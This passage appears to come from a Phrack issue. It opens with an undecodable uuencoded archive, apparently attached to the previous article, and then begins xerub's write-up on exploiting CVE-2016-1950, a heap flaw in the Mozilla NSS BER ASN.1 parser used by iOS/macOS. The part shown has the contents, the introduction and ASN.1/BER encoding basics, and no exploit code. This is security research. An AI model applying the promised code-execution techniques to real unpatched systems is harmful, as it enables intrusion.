MM6/Y&LW&AM'GT@]SFR[%@7&Z&-@GYYVC@L"DKS7JE>(^C&FCWD))]W<;4Z,1 MV-I%L+1>6!?]&8N MQT+2;TZ4D,C]>4VC;:!E/ZAI=C=IM3*"%S5"$8\U.RK9L*+7"WBLU9\?GZ(? M^[U!%QN?1:<$%8S3*?5:T"DX3=JC8;6^!W2J7:TUG7VW5]1J%VOZ3D2R2E0U M.GRJ4HE`TN4M[T`@&,4H,1QU56TO2GX#CC]RD,ZC;8J]1#OB/'ID%RB]/"&7 M@8TNA#3#X'"T19X=!."(RY`/D;<;(P0K/I8L:;,1]W>'SQ(ND#^=H27[")\.NR M][;SIC\HQ'O`3G2BHS&_26VV^&/*9)%+%6;/6AKP#T]#5.)G0QCYBK602@!E M>8\LAX@[CM8G2OB+8+B"Y.@#D[J&8VE>F82/HA8& M?KTQJH!H/1ZWFR.OU?1,.<7:"]KR^]%:4R4*ZEP*V/2 M2I."D2&I.&B;<`ZEK[_,L6X&-/%:V3764QW3YU/'G:K'`S_'L(X9WT2$]@< M.>-1U1NV1N5RK>;MM]L@"=7-"K)W74?"3<$L+=,T>KFC7E+<)$S& M"?\C+P3,R_/CP>GI58'2A".?DF0-N"AW9(Z$?"O%EW9C5*L[^T,8YJ;3'KG5 M:JO9RAQFE3LQPNH+#2[Q!/4D2T"R*)Z5$S=<,E?`1Z]A#RXW_VKB$U.YSI>\/0^G'9?657K[;M?BQHNGD)00/4P"S"*A8@+[-CJO7J[ MBNW>0TU%O:T4L-`]4E_#J:^DU>03"?U5=(?&2'P9 MA7CMBHX'?,V"4X0!5#X<7MAO_G(Q,-RH+>&;9(/`!#F+Z/H2NRS?M811CC4? M"9=>;)^FC25OF1$NJ(9VA)/B:A)TX.T`*].:\/[!^ M^TT_LM9E/.H,.B)3;$R%FP`_VWB%P0$IT!=,H!YP<`6@TT6.*FB!X![018U0 M,[#G/\*D&V7!@(8BD`TDPRMGPCFD4$O>PM/3&OED.&6T<,9HZ9['8T0%ZBFU MNVI2LY>JYGH`GD8L&+-:NL'=3-H$Y"_?70V.SG\\ MLP\[B`_Y[AQ!-1"+H7!@M"7.AZ"&GGJ!:H]!]]1&/)9! MK$ZM_W+YR7HNO:F/+`L'19\ZP#6.0LOUT.H)[>4Y#BD;8K!ENG#FV8HFQ)5! MH]E/@7`AY5+CX(G:Y8+Z0M%#)T553AA84Q&C7[H9XD(H9])TIHPQDBY>)DU4 MV\UFBHGJL-[VVO5AK;Z?:J*:4G!*;&A-RH-9VPU"&+Y8?%)3[YC\A/\KH2!Y MD\-E`6LYD82MA&.9;^YVPV@&U=^Q5-$9$KU#NZ)PE_XOK"W3+#"W=M`_LG_* MY!V]A(CZ1SZKYM4RMY'N1I`7Q@G($U;O-F+16OHYP=(AQ6\7;IW$6*WCL^7& MA<1WZ`99M&[N2"^#_Q/ZGM">WSR$/HBCD58;/P!YPH@&-N?SBVRXZ<.B"C$Z MBZ3,TMT';[VKK8_:6[+LO%44!+*`>$+-H#T`W=!C.=![("153?91]4/&/9&8 MC=C34I"_`[Z,&JK"3N+K\`Y]@_(\:HI:D?SP,GCY*BK4R'_4>V_WSZ_.CNRK MB[QL_5[1JNMGE?0AQ;_%-=XKO?C[S.*C(@O6KG&(ZF5R*:N71J'N%[:9(`Z@ MX9DM5X>L,*?"&?N!PJ7J9P!(>,:2T1?:6)@-T-H50MGQZ<">3^ZMW"LXYW'= M&=>YQFRN*T*68`:\BI`+=4"LEUF3*(;\=9',*?Y.O>G@OD^QI3EJ&^>SZ5*80P4Y(0_,!CLY]IQV3PV65L0 M,5,]L4E0V9]<'8+6T-Y+?#0IA'QH4U=?)9N(3O<3=S6TYWD8"KP\//O MMG/61;\7("JN?FK>?M%(F*=&>E4@056XLOMOK&RU0;^XIM4WUN1N7)/[U37% M)MY'"?4N1N&U-&;M,5)!#!/DG^CG#!R-I>C59Q6B1N?MB*GS[I<+!RT?;91. M\R9#I[.*VW0!H'@_DQGS#Z*_[V(<$7.%?!WQVJI5DJ]M`K/'$TK>6JC!X+3Q MV\MZ[<#:V?&3)S]R:/6DJ&>.W^7%*Q3M*]66+MW?PQB$/_L?]:$51T)4=)*\ MFT6?]+^PZ+6E?7A>J;FQ`OUU91J2J%G6A6`47L563QJ#3SEP_FO$"0NP`=CO M1>\OEJMD2R#=OZ0Q%;V2S)V4V"*&$0=?VJ;YY5GI M^\0T`='M.M6^D2:L>'?R'*8Y7@=-M[Q+`?E_/)ZLPIM\N'1Q^YF6HWJP(\,+ MP-"T<,AT`3RH`K@[9MS]N;>XP8!F#L=C1YIH%`)>4W33N3?+1[=QN<4PIU&09V/3>4C:.!W^ M:N@S\-0!A;';KL`[PL' M&30S6Z2C^5/M34IT\OR`$J'-&PISF7T8B\!51H1T>*K M$3,FCB?-8#1AHB1]Z:.MK(7W]F;N02R?%K(VOE?3>N(&,X\[8KR^U=5]:0M< ML1AT-F#R`R3\1%MUY&.B?KC'!;7`Q:%=+*W?W%$3Y-8+'V;N`CW018!LI?PN MJR\8'>/X^.#+]S&+=U9>EF0L/#HL*S')A**U)TQ*"ZDZB,G"+_/F_9EYV6:8HEB#$*11`9S=">PXN*!:IS;_2-D'I+JJ/S8%<0J M93RE+XC8_U@TWS9PP1GC%R<%&0-FQ`\4VK*,:RR]+5%P[=^M)69HO7@;L\BH MQI(KA[!T@BJ?KR*L&_0E)E\9]QUEV4+:H'MU-J?#F#FX`K__WJK6XK6E%D"^ MJ4:7$X,E=U\^=U]Y)2Z6E]9]]55TR1SO5D9;-TM7_1A/)@.(Z.^,-B.?D%[E M06:N:F:N:CQ7*@V(*_^^]9)T@RKKL2K%VDE(>&(9Q]9R(5Y<7->HV:'1J99> M3-$]W%I&DDPDDB;[`9H)S#/F]0E MT=6;M]#4V60)[OH+\A7&%9>C4KQP-Z>GF"^\L7_/"<@"P/B*C"454*WMR;4I MS-RQC9;F+HZ4+8\O\Z)2BMJN"#!&"[^T>Y='O3ZD*H=+&Z^DS5-W=]<2;<2& M1W'>@#\)EU$RK&GZ"5)$->&]=O($Q_+(\@<+82=RO8(L8H,'^R]JM'[)85IO MM$1!B&CKK>-/4!0KEZV!L-8`%B"%RLH3!@ND!B=2?*TM1>J"-"CYYQC7C!%Y M$;`IN$.;4_B1EYZ1-*!E ME'+9-<,`@6)URMK$+8LXI;0ZC^G^ZAFA18DK/9V;XU)$:'%^OK7AR0;3Q'%O M4AO_.5KP>2N/.U')BE$;6C_0_GL%B_%Y M^$N.5%NJ5]H8Z,N,&F(LLV]?8IF26%Q4T<0$-B;:5%!`JK;-JG45NXR'V,K' M".`+E4J1%KU],J?N#3.>+@7(5VY;/81[]\LO/1U#`-O\3(-0^T6@<&8\N>-. MWV*#-V),NB?:S\>R8KSP^XJ>G5]5]2(B7;Y8Y:KSL!*X5\6X2'4K+J,WN'@6 M!GH;I-R4K=HP9W3(JGWPU=UYK!-?VO0U#7F_:=9GBPJ*MO/G@=M$@;XR1O]#:,5&GH2)* M*=\@6>M-ZF[2+-]2HCZFF]35O"%Z\8_'H\U,ZHP0D+$(D!<=M&W5;?.OP:+)_2O:6>&_R[9;!1SAZ MACJ2GM%[@]VD>";+>TS+?\5$P+CA,ZU24;H(:D3IOC1*"&4:'+X]E)?`F`/5 M59-),,H+5F@[5$D-CSJ_B`B;QM3=LM?@[41S]J^UAO5:M=XHE]MNK5KSFM7Q MT)RPV\@K\%9Z`=;9P[^>,/@'7@3M0T-OA![7,3]`\1%GV_`$S`IQ&G.WOSPZ MH5_Y[F6M'Z*:O[T]/S.S^+3O(3^:9C(IL1!`T!NU:?JO56M5%O-"KM^I\JM7:CU?Z35?DC!F"%"A[+^I.S\,-U MZ1[[_M_T2<"VX$(@(A[]$*3&2;?<4?.V"3B6O((HT6\X&!4U7T* M+\3_PJONAPO[YJ M<-J32\IU$!`R)KHFDZ2*9B)P'IZ?GUK#U36[*FH5A2E"^P6K)I[,?+0$!<..Y18M06=#80LD, M!PQ2=N,6*,\Q6@,_:('7:Q6.N58SPVU_T5!;&R_TKUSJW[+8_Q7+ M_?==\`WFV.G?ZE=.`DT`*P>..U@"7A6*(#1ZSA*!H6])NUFM*R#3:-C@]OQH0+Q]APHOJ)A,+SI?2K]Y"H>\1U&G( M5]P4,E2XI)(](<)3"H7SES7OV6OM4CIMY'94G%\$`8_`Z6=.N$2LH-$G,E$^ MO>R<201;B>H9KN:DWB'MA!W,;(Y]BNA>XKQ$%TD$9W-X(3G"0'`D(\?1&3D`APR?&;*F@WL(=?4]$50:-@15B1*?9"7$#A)[ M!M4.U#-,2Z.%MPB30$C":E=)`9D6QKHB,*$:*MB-&Y5(@R2^8CA#:OAK"T-: MZNH.2E&`C8J11T;6CM40Z@\@!]L$V[X]PO\MP@G\'ZM%4TA!8A$;7@&#<6`8 M1J!%W%P?0Y\)/#(:J))!&#;,*%(+8%$!18J7/SM3;SJ: M/^35R.Y8]:(E_JJJ>S4UNC0K!PF2069FDBY\79'4&IGGYQK>30O]-$UON3!VL,HAB= MHK0VF/P0#!D!6E,E/U<^&CN]22QTN]5NFY'UOF%O4BN17,%VX-_$78S0[I7V MDBTM19^')`>2>F"Y<$88M@8S18:PL:F7#,>7EZ7[C:;G?AYRCJ(A9?/PY>J!3S4[18/]7[;9)R_=:@MHC8& M)[?A^$CR%%UA?/.0ZT5^P;C+;,;@4YY/]GCA>7FM7&U2GB5F180W;+?V6$YI MMZMU/,M^O^$6NSFU826S67@:7W0&[ZQ<2ISL./`-/?$$Y8E@TJ@2C MK2@269-!F\/EPEW-UY0H!UYP7;(``5Q$S.J:>93EZO.8RKQHO3,F3UJ4K.O% MW+1FCIJX(YDK^.>R\]-Q'NT:K-%)_\C*_5SZ:,'?_[+3WFQR6 M-DL1G]092+?$O[Y\A<28:"WU2]>3Q/IL&.+N[WU#Z3K+T'0&M9.F-?P8GE4TRG8U1QV<%2[VPR"7<9DD/ M!T""<.U58+L!E=NK-%K,%F\PK)8PHR-@;PY(!Z(I_&_F^8/5PL)K%2EC(UB!(QAW'4S&W)KA,!Y:>/(3/,)HI[@0$Q7(+]+N&[- M-Y*B4\UA"%?S)!Z/7E M+"@_T)+CNGR)[BU`PB9^,BS'8[SOWMRB5 MR&UZSJA9;>[MU2OC:L/=;XRK[2:0HW%SW!B/&]6]K;>PM82\05=\6R"->@MH M?&/K9#3]S[]NO[Z_&;4J_V]Q6-E2WRI;[T;3]W]VZ9YOZ^GZ]O]_SQ??_^JW MOOCM-BQ%5\*4HU&NEBLEY$;$9?#Z^]\V$*ZZ>?];AU^UI_O?/^(Q[W^!79^0 MO11"W"B(F;37@M",&NWA7JO>:+;*Y=%^K=4:M]U1+`AX:G9Q1YSVB>/CTNUJ M-2Y)^S,,S$164H;O(CDP#VTL(08J80U$`%:@RP*SQE\.-4,;84*C5#CJ`ZI< M2>>%1I679[V+B^Z@)D00TY`['1M0,SW/`#K%)W(_%4!CV/U&A4+V[S2J%1-: M5/0_V2?H/)XBJ8@:::D/#%E2#&)H#QV\,YF/I+V7Q(@7R`@[QLNYPD7ALH:H M,AN"A!U\6LWMR`HV3_/P8@Z"P0M5QPLJ$D2%,7E'Z@H**S\?D4/U_9M*M7+T MIH.(9A3H\=/^O;LF77)7%4?O9SB MH&<27.=W\80B@ZVZ\F3[G-6W3N/P4/3M=CH%87CFC[(Z]/[TU+KHG/4.L2<_ MJGM^%/Z&'.X3/OS+.Y42`),4@4/IK6#8-TRGSCR)K"L7RC6:Y@/OPNL#EX=: M'#]-KNUYTL=*X+7J_0;5*MWW7ZO'L0ZPVBK1G=0Y^]A M2"!B7@=O9!2(6XZY@H%R;_"";$GJ0\7D.B&&6\6MD@847])$1OVGC$;>]H;[ MS:KK`=UU:@W/&^[MCRI)BYR8`&F\(CI;;*+%<%/P]RAU'P;S!X[240-1WWH; M!!AIHC<;E:T.!K3`3R'%7`4&W:7KB/0L)R>'Z3F(7ISX(V^&D4Y7T"$>DL[< M`;Y#?BDJ:;96KL`*@R\Y\4FHL!Z"E35UV*T*;_-(DB".F!T`<"((EL>G@,5T M#[*,*BC_[Q6C^6*SH??Y:T5A;6"RI-*==0GRU4JML5TO_'ZR*Y:*KT,.J`MT M\LZZ!?:-MM_0NW'@[%APXPTQM_H_2LS];R/H*NTT4FW@;Q3),U]*U)EQ93AL MN4X;9-?]NE=K[.TY(R=)^&*9(_(7^[`)$6Q^.1%L_OI_^3=3FX.CX6 M-(JTRSN-MF@2/&C_>(/1%L3Y.D./!=Q$GEL*8$'1'4U9VEW)*/]IA[KE!L!T M_<(Z9F3>!4MD+\-)?BT?(D$UOB!34?`=E-G2H,DKDN:1*C"<^?.YM[0^4;PF MZ*)"FM,CVA/B&!(E((9!Z.,[#"?&"KMF`_&^FDVI';50NKA>39R%*`,W/!," M?_9WHE/`I#C8F1(&L-YD[&K&V('L`\(4Q?L']B^!E/9/.5QKT^%-4843BU-* MCP=FOM7-/1%(5U80#X8CV:"OZW]% MB,^858L(?"$)[&IN7;X[):`8`8R&HJ[9^]M8,P+$;[D-A.X*!G9(O?.+@=V'ZW278AU78M MB1Z?THRD<305>=)[+=13QO;1SLG MN/0JOV#KPZ@AUNLDET-+"!@!W.+(4PBF@&22&4>A6J$*Q!Z[/]<^JJL,5.G> M!,$?.S)L(9##BES"*Y,(9JK.)-&?!=.J@TL7Z$=55:E=' M80NI[VCYI$4M9LM^*&]P>0)-TYS#F@0IW=L$1%"`TN? M+[Q;+(?60#R9R12HE-($_'R^]*=(^E$R$.VQ?C`HFG1\\4,.MAW@E8+_"0%K M22\:S,1\GR#8LC`J"J/9;+'N>]^DV%\XLG1"P@QZL&[(OXLW#"R>J4]^-_@R MF'O,_A;12Y7TLH8*)U_`.Q++$S"X7B-1E?-)OQP_$ M30UY,.S4J[4,ZO/M(Z.I>6C9,M?ENYXD5"$BZ`K:6Y9..*Q5#PG14<+N#1^V M!`-"MC50R'0.^Q*QD4E;+D5I>5R-.UB=ZE"<*ZCF5?;"J<<)KOTW;/= MH3_;A82EK=+A\4GG[>7K7.F\9I6NK]UASBKO1D[QI9*P#A<&E[#*2T)K7)H@ M2UEVBLV=.I_@ MY=_W8LX-\U5(=H+\A[10J;6=2L5Q]M'(N.UX3<^M#&,XX"*#<&[@'^2ZTZ`0 M;0V6$\TP"B)4UTGO[.J#T-:G8:YJ,9!QR>"M+]#DN8TG*DIZF@H=.%4!_X)> M+)B*K\1'0ELFM=L::DET`@E\%US#%AM`R2L&0GL)%``,Z^-1W2/9#D(Q\R8. M^@[K[P3`MI*;&WLT'-7&?C5Y,&Z3?1?%I5OP1B+APA[/\OP=`VKQT4(I87&Y MPK$[_X+?S/FM-&FBE]?$1W$P>]B&(*V*DL-5Z64KY9>8IV9U.]2"?FGFL8FD5] MPUKTU#?.9$E?@!G@KDV"H0-2S6KIW2O5%?':.]5FM?)-0PR]C,);/%B(_XS, M'L'DR`YE&8.R7D%GBW:T%\_2;4P38T#=$E9JML0N,LS5%A[&6A,)$\9L6B&) M(GBHVFU:CPT)`.J"9]9NVUX(PRQR`R M>-QF052A-N$.7,WP*CN^E666-7=+*@W4S3)-DI94/Q:M'&IQ5N'`_L+U;V.9YO?'AQ//F><,^5%3(U+#T`P=1=U702E7) MXZ0I2K9^A2]&*_@6C]$9-/@UK/#AUG,AZ(@;SE@ MIJ?S8($^8,/5>(SAZ/`\1W!=TRY=CUO5 MEG9?]U?HSH"7SC;#VL5V&QDAZ%M2#0!%@*/>Q]LKCD6^_>`]2T`4J>WY*,9- M:]`A4!VC.8J-$'MS\\;K12,[*F,(!S-JO^N%:M M[A?KE3B1HA%Q5]/I@Q#14@\=]9Y#$B)N$IL8 M9G]$ZB!!"D?+^^@*E08>L;8:$2Z/Y(F%DCS$^S$TC%U++X`.,"!Z8I\JD"-U M8Z)1)1FU@",_80D^B[#DU$9ZM;BOA`JR:[ILR)*8*UW-L1"MH7HINME:]$:3 M5C4R4M"'A2$L$5Q#-[*)\#%35U9$5#*)CE;?@4'2#714\JR)62,%L\D#:M)X MEI:!R5CHV36^(F5?QGI,U]W1BGUT_WYI/&O>*GMUWBK-6K':4"3ND1H5X13B MA8K;'7W1!![X^KB<5.78!M%IBLLNN9+7H#/F9$):L>N7JYH!]/$9NS)L5\;. M2=W)15I1_'^A4+&XZ9('<4)#Y$#3*G&!1UH%!B1U.`H;FS2@'"1`&*QP[H!L M9/G+T)N,BQI!VK8P_H0E+.D%[A$LPKA63KDD&DZ(=:^]YWH8+[]<=EMNHS9N M#-V8,XSA=J@Y&M;J58[CRO_&Z.K"F=I#8C2A"_E^YU2HOC$@";TO6EVB,-O; M,&'S(L=]#X'X>6XAQN9A61Q7#8$%\JH($%$#9`RU%Z@%F'BSZ^5-4C1SW%L_ M]#;,7F3B?MHY>F^_NWK;O>B\[<9B@:!&/$8QR!M#!##X'3TRN*A_`[M5&V(\V'[7B`NY7`UIA:J_52#\=L7Q1GN>4R[7:PVO4A^-O)BG;)2'UVGTFXST MVQP3'_ZIUHS[6MAL(.W,;;[`>VU=7@ZZ%W:73O+?^,?9>:__5_7WH'?:[1^P MM1J5\?;HC:"&$;:ENM4C$\PDYB4#'\@37X*PF=GQ9!:G%,N#O$,@%="GT+Z? M3@ZT8+$);.E81`32\M'N54-S0X$1TCY(_?Q>O57?;^UCC!6G477'C5JMV3;' M/:,`GH2,CVPM1*J0E@`IP*L4[`:1CCR.)#I>CIS)Q*:+!V_IV:-A(=5'=Y,G M#F4FEWAA M+_OEFE-%3C8B/%'Y!A9__(U4$K=J56^_WA@AG,=XW&Z.O%;3,R_;$Q@K1.J0T9^XX9(A M5A@.WKAL$-T2N0SU3\E;Z+C?_:MP0R1\5]0?]#Z<=E]95>OMNU^+6I1Z M>=U%TH=P0!)W=XGS@`*0U=M5;/<>'H3UMN+OH7LD'0%%4U9V!C110=>!"_,M M<8X+26S7>D=,,Y$ZNOS7G:\B.[Y1J&&,V3Q%:/;[X?#"?O.7BX$6Y@X?#5U) M@%?%=+&[EKCS05]QW+S'BW-?C2>&T]'[V.\&YE04E\OKC8 M:XZ%[H(&W"[B<'%TYXBVE/GS7E_8/WVFZZN6Y<1XZN+3+$Q%5%S M^=E&"9D-;=$$!Y?O:BE!KR463@48- M>^MK41J-MGPV5B3%BA`C96A[OS6@1%;_Y?*3]5QZ4Q^Y<'8WGCHSX%-#D`WQ M4LT*F!V1>GZ82A>#'),LNA5-B.NQK>'(6:%Q"6912ZU(EB*:[*J^6!/OUIL4 M53D@#U'$\&%DW84+H?P(`ER,I(N7FR+`#>MMKUT?UNK[FR'`C73#DGJC+BQ+ M)+'&6=L-0AB^F,.NR=8F/^'_2L#NP3=<%K"6$TDX9$`L\\W=;AC-H/H[EBHZ M0Z)WA#*X2_\7E_EI%_Q;.SK0G`F[*&Q!=$E>(*83IA_P!3@!`@T9MFO1.C0@ M[!0DLC`N(\9J`[1*3'R'-F5%Z^8.E1ZD^>!"_-">WSR$/K#.)O8RD">TM[4Y MGU]DNP`?%A6T!"1.+>K.GKTDI6JU]5%[2X8#MXJ"0!80`:D9M`>@&YH).K\W MXOY:4?V0<2\EK*^9HMH22:*&BLL;H:V\PSCE>1XU1:TXHFKP4L,;,_(?]=[; M_?.KLR/[ZB(O6[]7M.KZ6:6CBYOHV%S\?6;Q49$%:]O9[9<';+BM@YG[`<-#D'.E;ED](4F<2YI[0Y`7.D.[./3@3V?W%NY M5W#.X[HSM(7&;*XK0I9@.LK$R\-@U-':E`V>0#?42HDUF7+(;P?9'8V?;AW6 M'5ZBZM#:=G#8D6-PP@,SW:DW'=SWO1`5A^BL)'2.-ND>T M>SKXT!D,^I?VU=GE1?>P=]SK'HG[ATD<4)LL4%'S0=D(E/J?R2J-"L/5-3$73*6X,WA#;7T? M6XW_^C9K"R)V$RPVB0^-2JX.06MH[R4^FA1"/K2IJRFPAVBX/'%70WN>AZ&P M=BQ_TXY0D;7L(N^^LLA&1I%YY59G/_\>4E?C9_QI9)8D&DGQ!& M\\R3(KW@Y]]MYZR+?B]H-/BP].J$DGJX:#$Z+UA)Y)G`6 M$K1Z[<#:V?&3)S_!-R5%/7/\+B]>H6A?J;9TZ9XAQ_V/^M"*(R$J.DG>S:)/ M^E]8]-K2/CROU-Q8@?ZZ,@U)U"SK0C`*KV*K)XW!IQPX_S7BA&E.BKC?BY)- M-YI@E)><.@ MFPVH?2,M).:P%9_#-,?KH.F&0N`[7M);X_%D%=[DPZ6+V\\T3(BB!AC*@2+HT=4*^,5^@WB8CI1H#BC$.!:?!3KT!_:> M!I9]:E#GY"\CHY%'K5%&(7[X+A(-U"BGU.MHMCME$?K.$R.B?5(%H/Y,6-63 M`C&06L_'ZG@>V9"BA@,/O'N\#4C194PB M`S%A_Z8%7GH=$;TQ#N(XF'NS?'0;EUL,38V;5.E&8W,8'`U8@)4J(C/ M:E["7PU]!IZ:8Q(@I814+5I84Z;93EI]*=69Y!,*?V4]G]P#L=S.T\#BV&T7 MX'WA((-F9HMT-'^JO4F)3IX?4"*T>4-A+K,/X]$D"+W\6(%Q15&M:6E\7G\> M92Q/PZLTOAHQ8^)XTNP1$G%#I--;M)6UL"`>&G::^31`GOA>3>N)&\P\[HCQ M^E97]Z4M<,5BT-F`R0E.E6BK=@HQ]<,]+J@%+@[M8FG]YHZ:(+=>^#!S%\%4 MQ?)0RN^R^O("-NWQ\<&7[V,6[ZR\+,E8>'185F*2"86"25@L%%)U$(]=>I&8 M(@*20ID9^HC;*1'F?/_JS$9HTJY]U'US]3:>-";?Q$4@H4NP8KGDN"!NQVN+ MK0/SA6A`S=2PU=!9@`PTM@N\:5]V7J8IELC3&8HD,IBC.X$5%P]4X]SN'R'S MD%1'Y3$3$:N4\92FAF+_8]%\V\`%9XQ?G!1D#)CAC"VT91G76'I;HN@DOUM+ M!(5R"XGQ7T=&-997?[Q=U/[/*>JQ*L782$IY8QK&U7(@7 M%]4YWU8K[PQOX])R`+`.,K M,I940+6V)]>F"&"!;;0T;R2D;(2XG1>5%JT7X5(1X-]^LYY=VKW+HUX?4I7# M)4/OF9+WKB7:B`TGB&VZ-P?^)%R:2JOI)T@1U83WVLD3',M3N!7LHZ17D$5L M\&#_18W6+SE,ZXV6*`@1;;UU_`F*8N6R-1#6&L`"I%!9><)@@=3@1(JOM:5( M79`&)?\5AZ/G%+ MS]TRC!2P`6H">!FE7'9!A46Y.F5MXI9%G%):G<=T?_6,8AR**SV=F^-2=G:T M;GYKPY,-IHGCWJ0V7L?BL?*X$Y6L&+4A=[>3XVB-.,HI?3%7VZ%:I<01,<8] MAN'%$E_!8GP>_I(CU9;JE38&^C*CAB1A.;]IB65*8G%111,3V)AH4T$!J=HV MJ]95D!$>8BL?(X`O5"I%6O3VR9QZ[)+Q="EB3^:B*)X4>/677WJ:L1FU^9D6 M^!-&/'U]\),[[O0M-G@CQJ1[HOU\+"N&:;JOZ-GY554O(M+EBU6N.@\K@7M5 MC(M4M^(R>H.+9V&@MT'*3=FJ#7-&AZS:!U_=G<I.ZFS3+MY3P3.DF=35OB$YBX_%H,Y,Z(U93+%33 M10?M68U@3=&K+]7.''PYG:;12P8[DFU(A#M"C#WXCXT2Y=_2NMRKC>KU40/' MR*W6W'&M-FS$_.>B/&*PU&\&8Z]0Q![X1W,JEY[.>B0&=AJR^-;AT63_E.PM M\=[D.B1]6]DY4QU)S^B]P6Z2N^SR'M/R7S$1,&[X3*M4E"Y\YBG=ESJA4J;! MX=M#>0F,.5!=A7CJ><$*;8B-TZ&&+__A'G&U"=GDL M%EG,F^ORZ(1>":1F-V_;G8N+DZYMDP0BW^*E5D$'GH%\"#K#$$V\ON!?`?V< M!3H.U`>1N-4/V"KS#,]WY4";^/(Y^4I*X#&=$HJB:7Y"*887&L!"GAM7".9( M2UD]1S;\9@?3I^7<^Z_!_*:`$?=G] MICH(Y;?=S,#_I0?Q?RO-1AV^0+IJ&TC;GZSF[]3'M<__OSG2K7:JFGXS[4_56KP_R?\YS_D^<[J_^7"HIE6&$8"Z'%KZX(7`L%< MN6XL5;B:$[\O82$EK"&6-UXX4P_UL&4*&^1Z2\>?A%L+;\Q8AYC.60!/-_'* M6UOH]@G%+2CB/#I=H75@<4WNQV7X`NE''%I$YKSQ1I]0`77+ M-?%;9XZQGZ/]Y"T8&AT^Z_$^8]$Y'6F2%HX4_I-''T!Y;QMB3!8\QW?_N%?_TZ,^&]#^Y=+^@CO7TO];& M,]^D_[56H_U$__^(QPQZ/1IY$Q+M,=B/"K:3]EK&'1_M-4=USZMZY?)^I>+M M-4:.$\>A3LLN(F*G?>*@MR).'?R;C,E(49PH="[&67*F8?[R838Z1$NX$,1M ME`5)-HW'>#(!+E`K8(("H,'>T,9FQ&/,)Z/?^\MA%*XG:!ZDJ2)0]<1#$8*@!U5"S?)E#VI<@0A=#1A*@Y7)4%O'UE5I$.HXKQ/FC M-YV&0)R'K6_/@XD_>K!O_8`;D'4;FI==$YZQUBPW_T9/@!O-X9 MLELW?/B7]<%H$-DMV7`L8LBAA3)@ZG[H'A8M`4RZ/BA,#E;,R"-;Z^=SZ^?< MVL0QU[[=7.+-\^_N/UK/0S+=>`IG]$]#*?T4SN@IG-%3?)S_5O%Q]IMMISJN MC\;?'!^G1H-;DQ#D6C`%9^[OXO]*$EZM)"X`A/P6TZ!3>G8,B7U`Q3K%D"RQ MC6-6>(0821D8H MFX2.^9W9J:<(,=7V7KU6:]?&PZ^($%-K5?\G18AY-!;,4S28IV@P3]%@Q/,4 M#>8I&LQ3-!AZGJ+!/$6#,:MZB@;S%`W&>HH&\Q0-YG]6-)@_V%]W][5]09*[H=][Y7[_3;KC>U8AU8\ZI8F= M7T_>]OJ[_V7>]D\>XT\>XT\>XT\>XT\>XT\>X[&L3Q[CE/7)8_S)8_S)8_R_ MO\?XO]L8_>EY>IZ>I^?I>7J>GJ?GZ7EZGIZGY^EY>IZ>I^?I>7J>GJ?GZ7EZ GGIZGY^EY>IZ>I^?I>7J>GJ?GZ7EZGIZGY^G9^/G_`!'U1^<`6`<` ` end |=[ EOF ]=---------------------------------------------------------------=| ============== Page 11/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x0c of 0x0f |=-----------------------------------------------------------------------=| |=----------------------=[ The Bear in the Arena ]=----------------------=| |=-----------------------------------------------------------------------=| |=------------------------------=[ xerub ]=------------------------------=| |=-----------------------------------------------------------------------=| -- Table of contents 0 - Introduction 1 - ASN.1 basics 1.0 - BER basics 2 - Enter the bug 2.0 - The allocator 2.1 - The state machine 2.2 - The subtle flaw 2.3 - The strategy 3 - Exploit techniques 3.0 - PKCS#7 3.1 - Building blocks 4 - Fast forward 4.0 - Rolling the dice 4.1 - Dance, little bunny! 4.2 - He who controls the Arena 4.2.0 - Copyout 4.2.1 - Copyin 4.2.2 - Arithmetic 4.3 - Assembling the pieces 5 - Conclusions 6 - References 7 - Source code -- 0 - Introduction In this article we set out to analyse an old bug, namely CVE-2016-1950[0]. While the bug was fixed long ago, it is worth dissecting it because of its particularities and potential effects it had before it was patched. The bug was present in the Mozilla NSS (the BER ASN.1 parser to be more specific) a codebase that is also used by iOS/macOS, thereby impacting all applications using the Security framework. We'll walk through some exploit techniques powerful enough to gain code execution in certain daemons. -- 1 - ASN.1 basics Abstract Syntax Notation One (ASN.1) is an interface description language used for defining data structures that can be serialised and deserialised in a cross-platform way[1]. It is used in telecommunications and computer networking, cryptography, and other fields. Let's start with a simple example of ASN.1: FooProtocol DEFINITIONS ::= BEGIN FooQuestion ::= SEQUENCE { trackingNumber INTEGER, question IA5String } FooAnswer ::= SEQUENCE { questionNumber INTEGER, answer BOOLEAN } END And the messages: myQuestion FooQuestion ::= { trackingNumber 5, question "Anybody there?" } myAnswer FooAnswer ::= { questionNumber 5, answer true } In order to pass around the actual messages, they have to be encoded by the sender and decoded by the receiver. There exist various types of encodings: DER, BER, XER, CER, PER and so on, but in this article we will focus on BER (Basic Encoding Rules) for reasons that will become apparent later. -- 1.0 - BER basics BER is a TLV encoding, aka type-length-value. Each data element is encoded as a Type, followed by a Length, followed by the actual Data and optionally an end-of-content marker. +------+--------+------+----------------+ | Type | Length | Data | END (optional) | +------+--------+------+----------------+ ITU-T X.680 defines the Type: End-of-Content (EOC) Primitive 0 BOOLEAN Primitive 1 INTEGER Primitive 2 BIT STRING Primitive/Constructed 3 ... SEQUENCE and SEQUENCE OF Constructed 16 The Type is encoded as an ASN tag. In its simplest form it looks like this: +----------------+-------------------------------+---------------+ | Class (2 bits) | Primitive/Constructed (1 bit) | Type (5 bits) | +----------------+-------------------------------+---------------+ When the type exceeds 5 bits, the tag is encoded a bit differently, but we don't need it for the purpose of this writeup. For our FooAnswer example, the simplest encoding would be (in hex): 30 is a combination of 0x20 (Constructed) + 0x10 (Sequence) 06 is the total sequence length 02 denotes an integer 01 denotes the length of the integer in bytes 05 the actual integer value 01 denotes a boolean 01 denotes the length of the boolean in bytes FF the actual boolean value (TRUE) It is important to note that BER encoding is quite flexible. For example, we can have a bitstring expressed as a sequence of one or more primitive bitstrings: 23 is a combination of 0x20 (Constructed) + 0x03 (Bit String) 09 is the total length of the components 03 denotes a bitstring 02 the length of the bitstring in bytes, plus 1 00 number of unused trailing bits at the end of the last byte 41 the first part of the actual bitstring 03 denotes a bitstring 02 the length of the bitstring in bytes, plus 1 01 number of unused trailing bits at the end of the last byte 42 42 the second part of the actual bitstring The decoder should merge those bitstrings, resulting in: 010000010100001. Length can be specified in two ways: indefinite and definite. The former does not encode the length at all, but the content data must finish at EOC. The latter has two forms: short and long. The short form is a single byte in range [0 .. 127]. The long form is expressed as (0x80 + size of length), followed by the actual length in big-endian format. This is not terribly important but such encodings may pop up later in our article. There are many other examples of BER flexibility, but we will not concern ourselves with those, because they are outside the scope of this article. 